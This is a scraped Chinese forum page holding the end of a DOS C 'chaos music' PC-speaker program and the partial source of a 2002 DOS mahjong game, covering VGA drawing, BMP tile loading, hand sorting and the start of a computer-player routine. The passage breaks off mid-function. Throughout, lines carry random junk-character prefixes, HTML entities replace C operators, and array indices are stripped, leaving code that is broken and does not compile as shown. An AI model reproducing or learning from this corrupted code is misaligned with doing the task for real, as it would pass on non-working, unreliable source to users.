% l# b& T% c: k0 M　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
* f( {  |" h# m　　delay(1000); }
& _. t: u1 M' @; j　　nosound(); }}
) m& V* X9 A( v  y+ O　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
; o/ k* o- d7 t4 C* h% o不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

韩冰

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
5 r$ o9 X# a: T  [0 o% Z9 E/*天宇软件
作者：上海黑暗之龙
2002/10/30
( X1 k6 d. |- }9 @麻将原代码*/
- J8 O# N, N; ~7 p) {#include "dos.h"
5 ^, O% k; O; U/ q* y. ~#include "stdio.h"
% Z' n' C, g7 m$ Q2 R; `5 o7 p) _/ I#include "graphics.h"
#include "bios.h"
#include "conio.h"
#include "stdlib.h"
/ i4 Q$ \0 a% c) z# R* M* Q  @9 Cunsigned char far *video_buffer=(char far *)0xA0000000L;
' s$ h0 C/ G# g( I* J" O( u5 @#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
; ~* J3 c: p! @$ U1 }#define SETVGA Set_Video_Mode(VGA256)
- ^1 a! g4 v3 D% @#define OUTVGA Set_Video_Mode(TEXT_MODE)
: q1 j# i8 R6 f8 B( h+ C* B2 u( f6 |#define BYTE unsigned char
3 G" `1 l" Q; H1 {( f#define WORD unsigned int
8 @7 }7 O; X  [0 M* J#define DWORD unsigned int
#define ESC 283
#define LEFT 19200
#define RIGHT 19712
#define H 9064
" c9 z7 [- J+ n- N+ C#define ENTER 7181
( {* w8 d4 |: C# Cunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
3 E/ _/ W3 Z% W' ]+ |8 `, b& D6 s9 i7 rint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
struct chi
3 d5 q1 p/ N* O: [; X{
6 ~9 K" C8 |% ?2 w* jint lg;
9 j- A& a1 P# e9 p( d' ^3 aint lgg;
$ z  x& Q% R; U* Y4 F: w/ t}ch[13];
) h* `. p) t, K# Q1 s' ^/ W0 ?* ]struct mj
  y& c# d  _8 x0 o. g) m! D{ char *name; /*名字*/
" S1 _* e6 p4 G+ ]9 F* iint data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
. A. I( J- b4 oint number; /*同一个花色的第几张，共4张*/
- l5 [( ]% X1 N+ {}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
  s( L  ^7 ~; j' \"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
8 X# K5 l2 y' Y7 O+ g* y"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
- u& f6 A$ A- z"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
  F# }; f: y3 a( Y) ~. a! r"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
, g/ ^: t. y) \6 y/ O7 r7 e( @" J: ?"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
4 C  c- c- Z4 d: Q, K"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
# H2 i% X' b. Z"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
0 h. S8 y' P% |! L) A4 |1 H, V"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
2 j8 r" @% {! ^- x2 ~3 r6 J- L- C4 {"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
' Y3 U1 g: P; A4 X( ^3 ]9 V/ J"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
- w2 t' o7 z, h0 F$ g* v"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
7 y$ j. j  P9 B, a/ w& X$ v& o6 n' I"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
  Y( m8 [' e* w+ ~( }"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
; `5 x7 r' Z+ N# B- Y"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
. I4 |5 \. U0 g$ M, R' o"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
! ~+ P2 F* W- ]0 `"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
  K, O) @2 V' b  l8 g. {: m0 Sstruct every
{ int *k; /*名字*/
, C1 R7 `" K) @# S" rint oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
, J, E) @2 c/ Vint p;
int g;
int c;
8 h5 a+ y+ L% x2 hint d[2];
- w" V' Z8 J* N2 G: F8 A8 i};
struct me
, P' |& M" H8 i+ i" \& W$ ]3 [' E3 ]{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
, d; F+ }! Z( z6 U* ?5 m- Sint p; /*乓对方*/
" @# |1 C5 S1 I8 c) l% Oint c; /*吃对方*/
int g; /*杠*/

' _( U; W" i8 Nstruct every pp[14]; /*存放手上的牌*/
7 F/ _. c% I- z}me;
struct computer
- N' ~4 L$ B+ U3 O( `{ int m;
int p;
int c;
+ t6 @/ G' z# i- g. Wint g;
struct every pp[14];
}computer,comp;

/* 设置调色板 */
1 e2 t# p: I# ]& t3 |: Zvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
% [) x- ^5 m: P- I# Xoutportb(0x3c9,b);
; t- G( y. ?  Z. S6 l6 V}
3 }; C; d. Z/ g; ], R" Z7 L/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
! _% D+ {) ~, i9 L+ k" Lvoid Set_Video_Mode(int mode)
{
) v* J+ i+ K) ]: T0 l( {( W- [union REGS inregs,outregs; /*定义输入和返回寄存器*/
( b( q3 d3 ^9 T8 M1 Tinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
" J( K/ l. t, `inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
. ^6 @! E8 j+ }; t3 J}
; m" [: g8 p% P/ Jvoid v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
. U. ?" @( O% K- {4 Uif(y0&gt;y1)
, {/ x3 ]) l9 d, M: N  S  p; ]{
temp=y1;
9 Y2 H1 T2 m7 r) `3 G5 `% A9 G; Py1=y0;
9 z9 }4 f4 d0 m4 {. a* ky0=temp;
}
address=320*y0+x;
for(n=0;n&lt;=y1-y0;n++)
{
7 A% M3 p) h+ u( [; tvideo_buffer[address]=color;
address+=320;
0 W$ f5 D# C2 T; G}
( A" L/ C+ [% f; y8 J6 X4 |; W- p1 `}
$ a" O! g6 u6 n& C8 q( `  Y- ]5 C( yvoid h_line(int x0,int x1,int y,unsigned int color)
, e7 ]' x( b/ z; K. D{ unsigned int address,n,temp;
/ P5 e# \) y7 u- Fif(x0&gt;x1)
{
temp=x1;
0 D7 H: j1 s6 e$ ~x1=x0;
0 z0 G, {( {" ^4 zx0=temp;
( ~- y+ F# @8 W# ?! C% K- h}
- O# x: I) y# Z8 Uaddress=320*y+x0;
for(n=0;n&lt;=x1-x0;n++)
; K3 W  t. ?9 R: `) H' C( M7 ?{
7 }( r4 n) i- {5 o. A! N& D6 Uvideo_buffer[address]=color;
5 A2 Z' u5 e3 w% X) J7 N$ Naddress+=1;
9 h9 M5 s  j; G1 l# ]) ?6 D}
}
9 ^7 {" b6 s" B1 Y6 S) xvoid p_pixel(int x,int y,unsigned int color)
% Y  `, W  d) Y9 f/ p" x# n{ video_buffer[y*320+x]=color;
- m5 Z9 n8 t; e  o9 y0 l7 U}
. }8 p& U+ g) a+ Dvoid s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
h_line(x,x+side,y+side,color);
8 v  \4 B% \$ rv_line(y,y+side,x,color);
v_line(y,y+side,x+side,color);
}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
{
9 h/ C7 n0 u* H- z2 Hh_line(x1,x2,y1,color);
9 W+ ]8 P: X5 A' ch_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
' B4 d- W1 L7 h& ?v_line(y1,y2,x2,color);
}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
! I# N! F+ M1 }$ w* I  i# n4 A4 v{
* h. _7 {7 Q+ T* l# tint i;
9 `  X9 f/ U4 q% _- T9 Zfor(i=y1;i&lt;=y2;i++)
{
) T! f$ p9 H$ Q, j( ]; mh_line(x1,x2,i,color);
9 ^1 b- g/ l. @* Z( u}
}
void showbmp(int l)
8 c9 U6 [+ s4 t: Z{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
2 E& j( ?0 i9 O# Fpalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
& z9 K3 E' e* h# x+ @0 z) D8 ]- fpalette[0]=fgetc(bmp)&gt;&gt;2;
) |5 D" V+ y/ e9 Pfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
0 k! w3 d3 \+ T' `/ Xfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
* L. ~$ o. L( e5 L" ypokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
fclose(bmp);
}
5 ^) v  {' W% r1 X' v. \/ Nvoid showbmpd(int l)
4 |! D- E, o) E/ g6 j) k{ FILE *bmp;
. X, k4 U& {4 w; J" R' aint i,x,y;
BYTE palette[256][3];
$ h2 A4 h+ B- W& ~1 L8 d, Qbmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
# \% ^3 s. ]7 U. Dfor(i=0;i&lt;256;i++)
8 S, K- n% X) X# Z, R5 Y) C( o( X{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
: R! E' w8 B3 H9 s4 D5 Opalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
8 |/ u) B3 y3 a" w( w4 N( y& \  zSet_Palette(i,palette[0],palette[1],palette[2]);
}
for (y=0;y&lt;30;y++)
, E7 L' n. j' g  [for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
: o; F7 N+ r" j2 T5 h. P; d}
# g0 [9 l+ j$ H; |void showybmp(int ll)
{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
1 e$ w* W% Q' h" z( x+ vfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
; @  ]( N; ^/ I6 O7 X6 q, Ipalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
! d, r$ x, l  }* M: x: Z. dpalette[0]=fgetc(bmp)&gt;&gt;2;
( G, b% ^, U: K! x+ M' J  afgetc(bmp);
- Y* D! h" N+ T5 B% m* \0 C# m4 nSet_Palette(i,palette[0],palette[1],palette[2]);
: W. D# E1 {% w: k6 L}
$ K) c- {; Y0 _: g- ifor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
2 o: H9 S6 j: _. G! R( b$ z  wfclose(bmp);
: E# h' a1 Q& y. e  l5 u8 \! s) w}
void showcbmp(int ll)
1 _1 C1 p0 F/ r{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
6 z9 P( W1 t% L  v7 \4 x0 Z{
3 H. s* T$ D6 g/ i& Ipalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
. t" Z4 e& F8 `5 c2 ]: xpalette[0]=fgetc(bmp)&gt;&gt;2;
# U* H& W5 P+ Nfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
7 X7 Z. x* ^5 `3 Z; J/ ^}
for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
* `$ Z+ m, v6 k1 W3 L& e4 d9 O}
, R; D$ r! q# fvoid bmpp(int number)
{ FILE *bmp;
) y/ j# H+ ]. Rint i,x,y;
BYTE palette[256][3];
. m2 V- Z8 e, abmp=fopen(m[number].name,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
& a) b0 n$ ]7 k/ C{
palette[2]=fgetc(bmp)&gt;&gt;2;
  ^5 ~+ R6 q' R9 ^palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
& m- \  o) ^5 E+ n, \( Bfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
/ W# E7 I8 C2 v( ^5 {* w: y}
. N0 f2 w" w, Q2 W; sfor (y=0;y&lt;30;y++)
5 O8 K8 T  U6 t, x0 bfor(x=0;x&lt;20;x++)
* ^, s( P  p9 x9 epokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
# v. v+ K# W2 l" e* g8 `8 L. ~}
void comlipai() /*整理电脑的牌*/
+ ~) x& H8 F6 ?. S1 w- ?{ int n,j,u;
int *lingshi;
; Y9 x! B7 J7 |5 m+ vfor(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
/ h3 }& }5 N- c' }{
+ w  ]1 V/ m, Y- U* F0 H4 l' ^if(computer.pp[n].number&gt;computer.pp[j+1].number)
8 H0 P$ B% F: d  ~8 J{
lingshi=computer.pp[n].k;
: }5 w0 A. m  q/ Gcomputer.pp[n].k=computer.pp[j+1].k;
computer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
0 Q, T- i/ c+ l+ b  Vcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
# o/ p% o3 L4 n% i3 fcomputer.pp[j+1].oneorfour=u;
& f8 f2 n; s. n* u7 Y5 ku=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
+ x7 N; C0 @' S# [/ B& B}
. Q. ]% |5 S9 v4 [5 Delse
if(computer.pp[n].number==computer.pp[j+1].number)
* t( X% y# k1 N: a$ \if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
! i0 c9 |* P( \' k/ v9 i{
' {* @' ]$ u( _1 m7 Z! Klingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
computer.pp[j+1].k=lingshi;
6 [! s$ V8 M+ S# C  vu=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
computer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
- [- E- ]& R2 k% b8 y. @( j* t8 y}
}
}
6 c  ~; U2 p/ T% P% p; |void melipai()
{ int n,j,u;
int *lingshi;
for(n=0;n&lt;me.m;n++)
# w! @8 w# O7 ]+ a! I( p3 Z- Sfor(j=n;j&lt;me.m;j++)
{
4 u0 [( }% s1 Q8 ^5 k0 i, P& @; \if(me.pp[n].number&gt;me.pp[j+1].number)
{
lingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
0 l6 }; S2 W, P$ Hme.pp[j+1].k=lingshi;
* L: \$ e- C- [* x% o. M, Ku=me.pp[n].oneorfour;
( }& Q9 U* a. k5 D, ]me.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
  ^3 {2 l. Z, @/ ^. Uu=me.pp[n].number;
. k9 |5 c7 Q7 Y) x  wme.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
, v8 J. i: r( b3 ?# G9 f}
5 z7 R! u8 H9 d7 |else
2 H' \6 S. |7 {2 m, iif(me.pp[n].number==me.pp[j+1].number)
4 M% H- x( A8 }: m0 c$ Qif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
{
lingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
3 M# v3 _. g4 O5 @}
: s0 p3 T8 [/ _: Y0 Z) @}
" a! i5 `/ Z- N4 K2 R5 |" _$ Z3 q  Q* F}
. z! w2 S" c; Q! f3 kvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
' ]6 q& J5 w' U% l- |{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
1 V- C- i7 i/ ?6 Hif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
3 B6 `9 Q6 H, e0 E1 ^0 r{
logo=1;
* s/ c' d( W! n0 z' D0 q) Rif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
logoo=1;
' _- q4 P. s$ S2 F1 c$ w" gelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
' R! c1 p6 }. Z( e; }! ologoo=2;
/ i# G) }5 K9 E. [  \else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
logoo=3;
8 B. E0 H: B9 V+ I. ~- S& n/ ?% \else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
logoo=4;
$ c' Y2 J5 @0 I# [else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
$ K$ a; Z4 W$ B. l+ Xlogoo=5;
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
/ u# Z0 P  \6 E; T. J. ^+ P/ mlogoo=6;
4 T9 {) s& X2 R( R# relse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
- s; g) M/ B! |- \! s# Hlogoo=7;
/ I+ N$ k$ _  J; q5 h0 a* }7 g* relse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
logoo=8;
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
. q. H3 o' ?' S7 D  blogoo=9;
}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
  S) s) }' a. Y, w- |{
' J* P1 L% K) C+ ]logo=2;
$ O" A2 [- {& ]$ mif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
logoo=1;
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
logoo=2;
8 R- f7 ^4 Z& m0 Y& k1 celse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
* e! g1 P. l" t' @logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
+ K9 o8 q; q8 [3 l0 A8 xlogoo=4;
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
3 m8 `# d5 m- p  Glogoo=5;
1 I+ A* {; s  j% x6 D; a: d* Oelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
logoo=6;
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
logoo=7;
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
( @& P  q( e) ?' w% J: ]9 B% C$ A; Mlogoo=8;
1 c" f; H$ k* ^( p5 {else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
logoo=9;
}
+ C0 l. i" d6 {- i( ?$ l4 Felse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
1 U; ]; v" ]7 S8 \) c: x0 Q! z" u{
# W6 r. y0 w4 N3 T9 Glogo=3;
. Y7 n' l. G+ ]3 u/ K) D4 ?6 jif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
( \2 ~' U8 j% ]* L# V3 d% llogoo=1;
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
logoo=2;
4 L2 F, Q# `$ @- ]" h; eelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
logoo=3;
, D1 O5 e+ n1 ?) A% f; eelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
logoo=4;
+ ^. v& z9 a1 G' R: U  ielse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
. D$ `% y0 u* _: X+ klogoo=5;
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
logoo=6;
( i) Z# |' c6 H9 P9 Z. Eelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
1 [3 y& g0 Q: X' |logoo=7;
6 I0 S) w( m  |5 l% R# Welse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
logoo=8;
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
8 x4 A! v4 v2 O- K8 o+ klogoo=9;
}
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
{
3 [2 L) M2 A. _/ P6 w% Wlogo=4;
9 s3 x% O0 Q) U1 jif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
logoo=1;
- U0 }2 X4 }* |& H5 T2 Helse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
1 c" U$ S* ]; R0 y; W; v2 ~4 ^' @logoo=2;
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
0 ~0 b1 e$ B, O! |4 d7 Vlogoo=3;
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
0 L; E+ d/ J& c) Rlogoo=4;
' [( @" d1 A1 _; W& k2 l/ Telse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
logoo=5;
- h5 G* d3 [) q' Oelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
logoo=6;
6 R  g. c7 `! Y. ]4 I8 M3 `$ Jelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
& M0 I3 c0 b- [9 T' C2 {logoo=7;
7 ]" Z; Z* h2 q. F- B1 E! Q}
while(b&lt;=computer.m)
+ ?0 D' y% Y  y! K. y{
) M: D( Z/ T( P* e' ~, U$ y: i" wif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
{
& g  ?# o$ r) Q. Ilg=1;
; G: a& k! ?4 R* S- b7 {computer.pp.d[0]=1;
3 {2 ]; V2 T- Jif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
! T# U1 ?, }4 ]+ _{
lgg=1;
' E. O' K; ~5 W4 y( O% o2 o# W( ^* ncomputer.pp.d[1]=1;
! ]% Z$ _! k; J" m2 z2 N  g: U}
) }1 W8 k) i( x" c- M/ pelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
( J$ Z* s/ i5 l  u" ?4 M: @{
' W* f* m6 C1 H4 R& @- nlgg=2;
3 u, M; x" A# d8 i, q  G$ O& Ocomputer.pp.d[1]=2;
7 b+ F  @8 E$ f# k2 [}
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
+ b" s0 ~) D/ n% }7 i. R- f2 E{
lgg=3;
computer.pp.d[1]=3;
: p0 ]# ?+ T6 a3 j3 B; G}
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
{
( `0 g, E) S% _+ `lgg=4;
$ b6 |; F0 b1 dcomputer.pp.d[1]=4;
5 U- }, v% [# z, t}
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
{
) X$ o! R- o3 X6 _) Flgg=5;
computer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
{
lgg=6;
computer.pp.d[1]=6;
& k: K2 U2 V$ b: L}
# a' t" S" b5 o+ |0 V0 Helse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
! L5 _. r9 t, G5 n{
0 Y, j$ I8 }1 B8 Y- \6 E4 @lgg=7;
computer.pp.d[1]=7;
# t5 }8 S5 d. f" a1 G}
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
2 }1 V# |+ k" Y" R{
lgg=8;
computer.pp.d[1]=8;
* X2 t6 @: Z% e( ?) X}
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
{
lgg=9;
: d' Z2 i; D# K5 Ccomputer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
; A* o( @- }: p( i- i4 F  R{
lg=2;
/ A; V, u' u8 B6 X+ m8 }computer.pp.d[0]=2;
3 i$ z# r* u' z" F9 _if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
{
) M- N, d" V7 |6 c/ W7 @lgg=1;
computer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
{
, Q7 R* D5 a1 \' ~lgg=2;
computer.pp.d[1]=2;
}
; w- D. N! Q( J! b- h; `else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
9 r2 t) o7 \; s% Y0 M# ~: j: |{
lgg=3;
. z& ?$ ^  E, \* L, K* z! h, |- zcomputer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
4 j' R; l% z% E- P+ F{
: ]$ s' ]5 Y$ }- Z5 Q6 ?/ N/ }3 w2 R4 k. Tlgg=4;
computer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
+ x( ^1 P$ j" d6 O3 R  ?{
4 J* f. m. a/ ^4 N& l$ y2 W) ~  Algg=5;
& K9 U% b7 X* P7 V1 k# bcomputer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
( q8 S6 q' z- c% D{
, B" L% s6 c7 _lgg=6;
$ G2 W0 z* O; |8 hcomputer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
